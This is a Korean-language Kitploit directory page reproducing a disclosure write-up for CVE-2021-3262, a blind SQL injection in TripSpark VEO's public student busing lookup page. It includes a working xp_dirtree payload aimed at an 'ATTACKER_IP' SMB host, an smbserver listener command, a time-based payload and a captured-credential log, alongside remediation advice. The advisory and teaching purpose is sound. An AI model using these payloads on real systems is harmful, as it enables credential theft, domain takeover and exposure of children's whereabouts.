Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-3262 — CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU의 editOEN 매개변수에서의 블라인드 SQL 인젝션. 인증되지 않음, 인터넷 노출. 페이로드, 주석이 달린 요청 및 증거. | Kitploit
도구/GitHubGitHub/l0lsec/cve-2021-3262
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchLearning & EducationDatabase Security
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU의 editOEN 매개변수에서의 블라인드 SQL 인젝션. 인증되지 않음, 인터넷 노출. 페이로드, 주석이 달린 요청 및 증거.

저장소 보기
31개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-3262

TripSpark VEO Transportation / NovusEDU의 SQL 인젝션

TripSpark VEO Transportation에 포함된 공용 "Student Busing Information" 조회 페이지는 인증되지 않은 POST 본문 입력을 받아 매개변수화 또는 서버 측 검증 없이 SQL Server 쿼리에 직접 연결합니다. editOEN 매개변수(학생 번호 필드)에 인젝션이 가능합니다.

인젝션은 블라인드 방식입니다: 애플리케이션이 데이터베이스 오류를 반환하지 않고 읽을 만한 차별적 콘텐츠도 없습니다. 그러나 데이터베이스 연결이 master.dbo.xp_dirtree에 도달할 수 있기 때문에 대역 외(out-of-band)로 완전히 악용 가능합니다. 이렇게 하면 SQL Server 서비스 계정이 공격자가 제공한 UNC 경로에 대해 SMB를 통해 아웃바운드 인증을 수행하게 됩니다.

외부 침투 테스트 중 발견되었습니다. 원래 작업에서 캡처된 서비스 계정 자격 증명은 클라이언트의 Active Directory 도메인 및 포리스트 전체를 장악하는 발판이 되었습니다.

CVE-2021-3262로 게시되었습니다. Show Up Show Out Security의 Sedric Louissaint가 발견하고 보고했습니다.


요약

CVECVE-2021-3262
제품TripSpark VEO Transportation / NovusEDU
영향을 받는 버전NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
취약점CWE-89: SQL Injection
CVSS 3.1 (NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (연구자)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
게시일2023-08-29
테스트 환경Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
인증 필요없음. 조회 페이지는 설계상 인터넷에 노출되어 있습니다.

NVD 설명:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 및 NovusEDU-2.2.x-XP_BB-20201123-184084는 서버 측 로직을 사용한 검증 없이 최종 사용자의 POST 본문 매개변수에 안전하지 않은 데이터 입력을 허용합니다. 'Student Busing Information' 검색 쿼리에 사용자 정의 SQL 명령을 주입할 수 있었습니다.

기술적 세부 사항

노출된 표면

교육구는 부모가 학생의 버스 배정을 조회할 수 있도록 공식 웹사이트에 'Student Busing Information' 페이지를 배포합니다. 이 페이지는 학생 N 번호와 생년월일을 요구하며, 의도적으로 인증되지 않습니다.

The public Student Busing Information page

N 번호 필드는 editOEN으로 전송됩니다. 생년월일은 cboxMonth, cboxDay, cboxYear로 전송됩니다. editOEN이 인젝션 가능한 매개변수입니다.

블라인드 인젝션

이 시대의 많은 ASP.NET 애플리케이션과 달리, 이 페이지는 데이터베이스 오류를 반환하지 않습니다. 올바르게 구성된 쿼리와 손상된 쿼리 사이에 눈에 띄는 차이가 없으므로 인밴드(in-band) 기술은 막다른 골목입니다.

스택 쿼리가 실행되며, 이는 필요한 전부입니다.

xp_dirtree를 통한 대역 외 악용

master.dbo.xp_dirtree는 디렉터리를 열거합니다. UNC 경로가 주어지면 SQL Server는 읽기 전에 SMB를 통해 대상 호스트에 인증합니다. 이를 리스너로 지정하면 조용한 인젝션이 가시적인 인젝션으로 바뀝니다:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

The payload in the editOEN parameter

요청은 일반적인 ASP.NET WebForms POST이며, 약 4,700바이트이고 대부분이 __VIEWSTATE입니다. 전체 요청은 poc/exploited-request.http에, 페이로드는 poc/payloads.sql에 있습니다.

The exploited HTTP request

캡처된 인증

Impacket의 smbserver.py가 공용 인터넷 호스트에서 수신 대기하는 상태에서 교육구 네트워크 내부의 데이터베이스 서버가 아웃바운드 인증을 수행합니다:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Forced authentication captured with Impacket

명시적으로 언급할 가치가 있는 두 가지 사항이 있습니다. 첫째, 이는 인증되지 않은 인터넷 노출 폼이 프로덕션 데이터베이스에 도달하는 것입니다. 둘째, 해당 데이터베이스 서버가 임의의 인터넷 호스트로 아웃바운드 SMB 연결을 허용했기 때문에 블라인드 인젝션이 관찰 가능해졌습니다.

영향

인젝션 자체 외에도, SQL Server 서비스 계정에 대해 캡처된 NTLMv2 자격 증명은 원래 작업의 초기 발판이었습니다. 그로부터 평가는 클라이언트의 Active Directory 도메인 및 포리스트 전체를 장악하는 수준으로 확대되었습니다.

위험에 처한 데이터는 학생 교통 기록입니다: 이름, 집 주소, 배정된 버스, 배정된 정류장, 픽업 시간, 특별 교육 경로. 이는 식별 가능한 아동이 알려진 시간에 물리적으로 어디에 있을지에 대한 일정입니다.

재현

소유하거나 테스트할 권한이 있는 실험실 인스턴스를 대상으로:

  1. 'Student Busing Information' 페이지를 로드합니다.
  2. 대상이 도달할 수 있는 호스트에서 리스너를 시작합니다:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. N 번호 필드에 poc/payloads.sql의 xp_dirtree 페이로드를 자신의 IP로 대체하여 제출합니다. 필드에 클라이언트 측 길이 제한이 있는 경우 브라우저에 입력하지 말고 POST를 캡처하여 재생하십시오. 서버 측에는 해당 제한이 없기 때문입니다.
  4. 취약한 빌드는 SQL Server 서비스 계정에서 인바운드 SMB 인증을 생성합니다. HTTP 응답에는 아무 변화가 없습니다.
  5. 인바운드 SMB를 수신할 수 없는 경우 시간 기반 확인도 작동합니다:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

저장소 내용

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

캡처된 클라이언트 식별자는 편집되었습니다. 리스너 주소는 원래 작업에서 가져온 것으로 오래전에 폐기되었습니다. 재현할 때 자신의 것으로 대체하십시오.

수정 방법

  1. 매개변수화된 쿼리. editOEN을 매개변수로 바인딩하면 페이로드에 무엇이 있든 상관없이 불활성 문자열이 됩니다.
  2. 서버 측 검증. 학생 번호는 짧고 숫자로만 구성됩니다. 폼이 아닌 서버에서 이를 적용하십시오.
  3. 데이터베이스 계정에 대한 최소 권한. 공개 조회 페이지 뒤의 계정은 버스 배정을 읽는 것만 필요합니다. xp_dirtree 및 기타 확장 저장 프로시저에 대한 액세스를 취소하십시오.
  4. 이그레스 필터링. 학교 교육구 데이터베이스 서버가 인터넷에 SMB 연결을 열 이유가 없습니다. 아웃바운드 445를 차단하면 대역 외 채널이 제거됩니다.
  5. 공개 폼을 기록 시스템과 분리하십시오. 학부모가 사용하는 페이지는 특수 교육 경로도 보관하는 프로덕션 데이터베이스가 아닌 제한된 복제본을 쿼리해야 합니다.

타임라인

날짜이벤트
2021외부 침투 테스트 중 발견되어 TripSpark에 보고됨
2023-08-29CVE-2021-3262가 NVD에 게시되었으며, CVSS 9.8 Critical로 평가됨

관련 글

  • 개인 계정: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

면책 조항

공개 후 방어 및 교육 목적으로 게시되었습니다. 소유하지 않거나 테스트에 대한 서면 승인이 없는 시스템에서 이러한 페이로드를 실행하지 마십시오. 교육구 배포를 관리하는 경우, 여기서 유용한 조치는 공개 양식 뒤의 쿼리가 매개변수화되었는지 여부를 공급업체에 서면으로 문의하는 것입니다.

도구 다운로드